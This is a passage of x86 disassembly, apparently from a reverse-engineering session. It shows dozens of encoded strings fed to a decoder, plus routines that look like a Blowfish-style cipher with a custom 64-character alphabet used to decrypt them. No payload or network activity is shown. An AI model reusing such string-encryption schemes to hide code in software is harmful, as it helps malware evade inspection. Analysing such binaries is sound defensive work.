		call	sub_41D94C
		push	offset a43ucs0rkqux_ ; "43uCS0rkQUx."
		push	esi
		call	sub_41D94C
		push	offset aZjiqo07c20 ; "ZjIqO/07c2/0"
		push	esi
		call	sub_41D94C
		push	offset aA4pllAqpbg_ ; "a4pll/aQpBg."
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aNn0i61ujg7h1 ; "NN0i61uJg7H1"
		push	esi
		call	sub_41D94C
		push	offset aEavyh_ic0dc0_0 ; "eAvYh.IC0dc0"
		push	esi
		call	sub_41D94C
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_41D94C
		push	offset aNoazx1alvg0 ; "NoaZx1Alvg/0"
		push	esi
		call	sub_41D94C
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		push	esi
		call	sub_41D94C
		push	offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k."
		push	esi
		call	sub_41D94C
		push	offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		push	esi
		call	sub_41D94C
		push	offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aQnqb5Bavh1_mns ; "qnQb5/bavH1.Mnsrm1FhS.k."
		push	esi
		call	sub_41D94C
		push	offset aFr3nb0ttxid1mn ; "Fr3NB0Ttxid1Mnsrm1FhS.k."
		push	esi
		call	sub_41D94C
		push	offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1"
		push	esi
		call	sub_41D94C
		push	offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		push	esi
		call	sub_41D94C
		push	offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k."
		push	esi
		call	sub_41D94C
		push	offset aYuohiGmfzv ; "yUoHi/GMFZv/"
		push	esi
		call	sub_41D94C
		push	offset aX1pikRo_tl_ ; "X1PIk/rO.TL."
		push	esi
		call	sub_41D94C
		push	offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		push	esi
		call	sub_41D94C
		push	offset aPnmnw_7rscg0 ; "PnmNw.7RScG0"
		push	esi
		call	sub_41D94C
		push	offset aBsxrm1gm35a0ty ; "BSXRM1GM35a0TY84s/myQpz0"
		push	esi
		call	sub_41D94C
		push	offset aCkdai0gd9lr_ ; "ckdai0Gd9lr."
		push	esi
		call	sub_41D94C
		push	offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		push	esi
		call	sub_41D94C
		push	offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI."
		push	esi
		call	sub_41D94C
		push	offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		push	esi
		call	sub_41D94C
		push	offset a8niowW5nrt1 ; "8nIOw/w5nRT1"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aM7pC1xaudb1ty8 ; "m7P/c1xaudB1TY84s/myQpz0"
		push	esi
		call	sub_41D94C
		push	offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI."
		push	esi
		call	sub_41D94C
		push	offset aFr5ye08wltp1mn ; "fr5ye08Wltp1Mnsrm1FhS.k."
		push	esi
		call	sub_41D94C
		push	offset a8sxng_tdfrt ; "8sXNG.tDfrt/"
		push	esi
		call	sub_41D94C
		push	offset a75bqq0i7ucw0 ; "75bQQ0i7ucW0"
		push	esi
		call	sub_41D94C
		push	offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		push	esi
		call	sub_41D94C
		push	offset a2fulsVpayi0 ; "2FUlS/VPAyI0"
		push	esi
		call	sub_41D94C
		push	offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aXtyre1_rjar_xf ; "XtyrE1.RJaR.xfK1r.VuQwI."
		push	esi
		call	sub_41D94C
		push	offset aZshqz13bz2w1 ; "ZsHqZ13bZ2w1"
		push	esi
		call	sub_41D94C
		push	offset aJjc1c1nn0bl0ty ; "JJc1c1nn0bL0TY84s/myQpz0"
		push	esi
		call	sub_41D94C
		add	esp, 18h
		pop	esi
		retn
sub_41D98A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E077	proc near		; CODE XREF: sub_41E8CB+68p

var_8		= dword	ptr -8

		push	esi
		push	48h
		mov	esi, ecx
		call	sub_423F55
		mov	[esi], eax
		mov	[esp+8+var_8], 13A0h
		call	sub_423F55
		mov	[esi+4], eax
		pop	ecx
		mov	eax, esi
		pop	esi
		retn
sub_41E077	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E097	proc near		; CODE XREF: sub_41E8CB+13Fp
		push	esi
		mov	esi, ecx
		push	dword ptr [esi]
		call	sub_421C78
		push	dword ptr [esi+4]
		call	sub_421C78
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_41E097	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0AD	proc near		; CODE XREF: sub_41E791+C0p
					; sub_41E791+F3p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ecx]
		mov	edx, [eax]
		mov	eax, [ecx+4]
		xor	ecx, ecx
		xor	edx, [edi]
		xor	ebx, ebx
		mov	[ebp+var_C], edi
		mov	[ebp+var_4], edx
		mov	esi, edx
		mov	cl, byte ptr [ebp+var_4+2]
		mov	bl, dh
		shr	esi, 18h
		mov	ecx, [eax+ecx*4+4E8h]
		add	ecx, [eax+esi*4]
		mov	esi, 0FFh
		and	edx, esi
		xor	ecx, [eax+ebx*4+9D0h]
		add	ecx, [eax+edx*4+0EB8h]
		mov	edx, [ebp+arg_4]
		xor	ecx, [edi+4]
		xor	ecx, [edx]
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+8]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+0Ch]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+10h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		xor	edx, [eax+ebx*4+9D0h]
		and	edi, esi
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+14h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+18h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+1Ch]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+20h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+24h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	edx, [edi+28h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		xor	ebx, ebx
		add	edx, [eax+edi*4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edi, [ebp+var_4]
		xor	edx, [eax+ebx*4+9D0h]
		and	edi, esi
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+2Ch]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+30h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+34h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+38h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+3Ch]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		mov	eax, [ebp+var_4]
		xor	edx, [edi+40h]
		xor	eax, edx
		mov	edx, [ebp+arg_4]
		xor	ecx, [edi+44h]
		pop	edi
		mov	[edx], eax
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	ebx
		mov	[eax], ecx
		leave
		retn	8
sub_41E0AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E41E	proc near		; CODE XREF: sub_41E8CB+D5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ecx]
		xor	ebx, ebx
		mov	[ebp+var_C], edi
		mov	edx, [edi+44h]
		xor	edx, [eax]
		mov	eax, [ecx+4]
		xor	ecx, ecx
		mov	[ebp+var_4], edx
		mov	esi, edx
		mov	cl, byte ptr [ebp+var_4+2]
		mov	bl, dh
		shr	esi, 18h
		mov	ecx, [eax+ecx*4+4E8h]
		add	ecx, [eax+esi*4]
		mov	esi, 0FFh
		and	edx, esi
		xor	ecx, [eax+ebx*4+9D0h]
		add	ecx, [eax+edx*4+0EB8h]
		mov	edx, [ebp+arg_4]
		xor	ecx, [edi+40h]
		xor	ecx, [edx]
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+3Ch]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+38h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+34h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		xor	edx, [eax+ebx*4+9D0h]
		and	edi, esi
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+30h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+2Ch]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+28h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+24h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+20h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	edx, [edi+1Ch]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		xor	ebx, ebx
		add	edx, [eax+edi*4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edi, [ebp+var_4]
		xor	edx, [eax+ebx*4+9D0h]
		and	edi, esi
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+18h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+14h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+10h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+0Ch]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+8]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		mov	eax, [ebp+var_4]
		xor	edx, [edi+4]
		xor	eax, edx
		mov	edx, [edi]
		xor	edx, ecx
		mov	ecx, [ebp+arg_0]
		pop	edi
		pop	esi
		mov	[ecx], edx
		mov	ecx, [ebp+arg_4]
		pop	ebx
		mov	[ecx], eax
		leave
		retn	8
sub_41E41E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E791	proc near		; CODE XREF: sub_41E8CB+79p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	[ebp+var_8], ecx
		xor	eax, eax


loc_41E7A1:				; CODE XREF: sub_41E791+21j
		mov	edx, [ecx]
		mov	edi, dword_447868[eax]
		mov	[eax+edx], edi
		add	eax, 4
		cmp	eax, 48h
		jl	short loc_41E7A1
		xor	eax, eax


loc_41E7B6:				; CODE XREF: sub_41E791+41j
		mov	edx, 13Ah


loc_41E7BB:				; CODE XREF: sub_41E791+3Aj
		mov	edi, [ecx+4]
		mov	ebx, dword_4478B0[eax]
		mov	[eax+edi], ebx
		add	eax, 4
		dec	edx
		jnz	short loc_41E7BB
		cmp	eax, 13A0h
		jl	short loc_41E7B6
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_4], esi


loc_41E7DA:				; CODE XREF: sub_41E791+A9j
		lea	eax, [esi+1]
		cdq
		idiv	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		movzx	edi, byte ptr [esi+ebx]
		mov	eax, [eax]
		shl	edi, 18h
		and	edi, 0FF00FFFFh
		movzx	ecx, byte ptr [edx+ebx]
		mov	edx, [ebp+var_4]
		add	[ebp+var_4], 4
		add	edx, eax
		lea	eax, [esi+2]
		mov	[ebp+var_C], edx
		cdq
		idiv	[ebp+arg_4]
		shl	ecx, 10h
		xor	ecx, edi
		xor	eax, eax
		xor	cx, cx
		mov	ah, [edx+ebx]
		xor	eax, ecx
		mov	ecx, eax
		lea	eax, [esi+3]
		cdq
		idiv	[ebp+arg_4]
		movzx	eax, byte ptr [edx+ebx]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	[eax], ecx
		lea	eax, [esi+4]
		cdq
		idiv	[ebp+arg_4]
		cmp	[ebp+var_4], 48h
		mov	esi, edx
		jl	short loc_41E7DA
		xor	esi, esi
		mov	[ebp+arg_4], esi
		mov	[ebp+arg_0], esi


loc_41E844:				; CODE XREF: sub_41E791+DCj
		mov	edi, [ebp+var_8]
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, edi
		call	sub_41E0AD
		mov	eax, [edi]
		mov	ecx, [ebp+arg_4]
		mov	[esi+eax], ecx
		mov	eax, [edi]
		mov	ecx, [ebp+arg_0]
		mov	[esi+eax+4], ecx
		add	esi, 8
		cmp	esi, 48h
		jl	short loc_41E844
		push	4
		pop	esi


loc_41E872:				; CODE XREF: sub_41E791+117j
		mov	ebx, 9Dh


loc_41E877:				; CODE XREF: sub_41E791+10Fj
		mov	edi, [ebp+var_8]
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, edi
		call	sub_41E0AD
		mov	eax, [edi+4]
		mov	ecx, [ebp+arg_4]
		mov	[esi+eax-4], ecx
		mov	eax, [edi+4]
		mov	ecx, [ebp+arg_0]
		mov	[esi+eax], ecx
		add	esi, 8
		dec	ebx
		jnz	short loc_41E877
		cmp	esi, 13A4h
		jl	short loc_41E872
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41E791	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E8B1	proc near		; CODE XREF: sub_41E8CB+9Ap
					; sub_41E8CB+B5p

arg_0		= byte ptr  4

		xor	eax, eax


loc_41E8B3:				; CODE XREF: sub_41E8B1+15j
		mov	ecx, off_448C50
		mov	cl, [ecx+eax]
		cmp	cl, [esp+arg_0]
		jz	short locret_41E8CA
		inc	eax
		cmp	eax, 40h
		jl	short loc_41E8B3
		xor	eax, eax

locret_41E8CA:				; CODE XREF: sub_41E8B1+Fj
		retn
sub_41E8B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8CB	proc near		; CODE XREF: sub_41D94C+1Ep

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	[ebp+arg_4]
		mov	esi, dword_42F0DC
		call	esi ; dword_42F0DC
		add	eax, 0Ch
		push	eax
		call	sub_423F55
		pop	ecx
		mov	ebx, eax
		push	[ebp+arg_4]
		mov	[ebp+var_8], ebx
		push	ebx
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	loc_41EA15
		cmp	byte ptr [eax],	0
		jz	loc_41EA15
		push	edi
		mov	edi, ebx
		push	[ebp+arg_4]
		call	esi ; dword_42F0DC
		add	eax, 0Ch
		push	eax
		call	sub_423F55
		cmp	byte ptr [ebx],	0
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41E92B


loc_41E925:				; CODE XREF: sub_41E8CB+5Ej
		inc	edi
		cmp	byte ptr [edi],	0
		jnz	short loc_41E925


loc_41E92B:				; CODE XREF: sub_41E8CB+58j
		xor	eax, eax
		lea	ecx, [ebp+var_10]
		stosd
		stosd
		stosd
		call	sub_41E077
		push	[ebp+arg_0]
		call	esi ; dword_42F0DC
		push	eax
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_0]
		call	sub_41E791
		cmp	byte ptr [ebx],	0
		mov	esi, [ebp+var_4]
		mov	edi, ebx
		jz	loc_41E9FD


loc_41E957:				; CODE XREF: sub_41E8CB+129j
		and	[ebp+arg_0], 0
		and	[ebp+arg_4], 0
		xor	edx, edx


loc_41E961:				; CODE XREF: sub_41E8CB+ADj
		mov	al, [edi]
		inc	edi
		push	eax
		call	sub_41E8B1
		pop	ecx
		mov	ecx, edx
		add	edx, 6
		shl	eax, cl
		or	[ebp+arg_0], eax
		cmp	edx, 24h
		jl	short loc_41E961
		xor	edx, edx


loc_41E97C:				; CODE XREF: sub_41E8CB+C8j
		mov	al, [edi]
		inc	edi
		push	eax
		call	sub_41E8B1
		pop	ecx
		mov	ecx, edx
		add	edx, 6
		shl	eax, cl
		or	[ebp+arg_4], eax
		cmp	edx, 24h
		jl	short loc_41E97C
		lea	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_10]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_41E41E
		push	18h
		xor	edx, edx
		pop	eax


loc_41E9AA:				; CODE XREF: sub_41E8CB+FEj
		mov	ebx, 0FFh
		mov	ecx, eax
		shl	ebx, cl
		push	18h
		sub	eax, 8
		pop	ecx
		sub	ecx, edx
		add	edx, 8
		and	ebx, [ebp+arg_4]
		shr	ebx, cl
		mov	[esi], bl
		inc	esi
		cmp	eax, 0FFFFFFF8h
		jg	short loc_41E9AA
		push	18h
		xor	edx, edx
		pop	eax


loc_41E9D0:				; CODE XREF: sub_41E8CB+124j
		mov	ebx, 0FFh
		mov	ecx, eax
		shl	ebx, cl
		push	18h
		sub	eax, 8
		pop	ecx
		sub	ecx, edx
		add	edx, 8
		and	ebx, [ebp+arg_0]
		shr	ebx, cl
		mov	[esi], bl
		inc	esi
		cmp	eax, 0FFFFFFF8h
		jg	short loc_41E9D0
		cmp	byte ptr [edi],	0
		jnz	loc_41E957
		mov	ebx, [ebp+var_8]


loc_41E9FD:				; CODE XREF: sub_41E8CB+86j
